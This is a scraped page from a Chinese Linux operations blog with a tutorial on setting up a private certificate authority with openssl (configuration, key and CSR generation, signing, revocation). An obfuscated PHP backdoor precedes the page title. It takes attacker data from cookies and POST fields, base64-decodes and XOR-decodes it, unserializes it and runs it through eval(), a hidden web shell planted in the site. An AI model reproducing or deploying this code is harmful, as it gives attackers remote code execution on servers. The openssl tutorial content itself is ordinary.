$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 实现创建私有CA | Linux运维部落

实现创建私有CA

CA的构成:
PKI: Public Key Infrastructure
签证机构:CA(Certificate Authority)
注册机构:RA
证书吊销列表:CRL
证书存取库:
X.509:
定义了证书的结构以及认证协议标准
版本号
序列号
签名算法
颁发者
有效期限
主体名称
主体公钥
CRL分发点
扩展信息
发行者签名
证书类型:
证书授权机构的证书
服务器
用户证书
获取证书两种方法:
1.使用证书授权机构
生成签名请求(csr)
将csr发送给CA
从CA处接收签名
2.自签名的证书
自己签发自己的公钥

/etc/pki/tls/openssl.cnf
CA配置文件:
dir = /etc/pki/CA
certs = $dir/certs 颁发的证书必须在这个目录下
crl_dir = $dir/crl 吊销证书列表
database = $dir/indcdex.txt
new_certs_dir = $dir/newcerts
给谁颁发过证书的目录
certificate = $dir/cacert.pem
Ca自签证的证书存放路径(文件名要一致上级CA颁发)
serial = $dir/serial
下一个证书的编号(16进制数,需创建)
crlnumber = $dir/crlnumber
下一个要吊销证书的编号 (要手动创建)
crl = $dir/crl.pem
证书吊销列表
private_key = $dir/private/cakey.pem
CA自己私钥文件路径(文件名后缀必须一致)
RADNFILE =$dir/private/.rand
创建私钥时要用到的生成随机数文件
default_days = 365 证书有效期
default_crl_days= 30 30天更新一次CRL
default_md = sha256 默认用sha256加密
preserve = no 保持通过DN排序
policy = policy_match 申请证书时的策略
CA策略:policy
policy_match
countryName = match 必写国家
stateOrProvinceName = match 省
organizationName = match 公司名
organizationalUnitName = optional 公司部门
commonName(通用名网站域名) = supplied 必须提供(*要与的网站名匹配)
emailAddress = optional 可以空不写
policy_anything
则是申请时国家,市等可以不一至也行
——————————————————————————–
实验:向CA申请证书
1 建立RootCA
1)生成私钥
(umask 077;openssl genrsa -out /etc/pki/CA/private/cakey.pem 4096 )
2)自签名证书
openssl req -new -x509 -key /etc/pki/CA/private/cakey.pem -out /etc/pki/CA/cacert.pem -days 3650
req :发申请
-new: 建立第一个申请
-x509: 代表自签名的证书
-key: 后面跟用到的私钥文件路径
-days n:证书的有效期限
-out /PATH/TO/SOMECERTFILE: 证书的保存路径
依次输入:国家 ;省 ;公司;部门;网站域名;邮箱
可用下面指令看证书详细信息:
openssl x509 -in /etc/pki/CA/cacert.pem -noout -text
-noout -issuer 只看谁发行的证书
-noout -subject 只看给谁颁发的证书
-noout -dates 查看证书日期
2 用户或服务器
1)生成私钥
(umask 077;openssl genrsa -out app.key 1024 )
一般放在和服务相关的文件夹里面
2)生成证书申请文件
openssl req -new -key app.key -out app.csr
依次输入:国家;市;公司名;部门;(新的)服务域名;邮箱
3)将申请文件app.csr发给CA
scp
3 CA颁发证书
touch index.txt 创建证书索引库
echo 0F > serial 创建下一个要颁发的证书编号
openssl ca -in app.csr -out /etc/pki/CA/certs/app.crt -days 100
——————————————————————————–
同一个私钥可以重新申请申请证书;两个证书给两个服务用
CA默认不能给同一个申请证书多次颁发证书但修改/etc/pki/CA/index.txt.attr文件就可以实现
unique_subject = yes为不能 no为可以
——————————————————————————–
openssl ca -revoke newcerts /10.pem
根据newcerts目录下的证书编号来吊销证书
/etc/pki/CA/index.txt
开头的V代表 可用 ;R代表吊销
创建吊销列表编号文件:echo 1F >/etc/pki/CA/crlnumber
生成吊销列表:
openssl ca -gencrl -out crl.pem
每吊销一个证书都要重新生成一次吊销列表

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/99148

(0)
上一篇 2018-05-22 11:02
下一篇 2018-05-22 20:37

相关推荐

  • 新建虚拟机+安装Centos7

    一、基本环境 笔记本电脑:widows 7 虚拟机版本:vmware workstation 12 镜像版本:CentOS-7-x86_64-Everything-1804 下载地址:mirrors.aliyun.com www.centos.org 一、新建虚拟机 1.创建虚拟机 2.选择“典型”,点击下一步。 3.选择“稍后安装系统”,点击下一步。 4….

    2018-07-22
  • CentOS6中的mysql及基本用法

    mysql数据库摘要

    2018-06-05
  • 第三周笔记

    Linux的文本处理三剑客> grep:文本过滤(模式:pattern)工具> grep, egrep, fgrep(不支持正则表达式搜索)> sed:stream editor,文本编辑工具> awk:Linux上的实现gawk,文本报告生成器– ### grep作用是根据“pattern”对目标文件进行搜索,并且显示匹…

    Linux笔记 2018-04-15
  • 计算机原理与Linux基础

    计算机的组成及功能 1、其实计算机的组织分为内部设备和外部设备, 内部设备:         CPU:运算器、寄存器、缓存         存储器:内存,RAM(Random Access Memory)         控制器:控制器是整个计算机系统的控制中心,它指挥计算机各部分协调地工作,保证计算机按照预先规定的目标和步骤有条不紊地进行操作及处理。 外部…

    Linux笔记 2018-05-13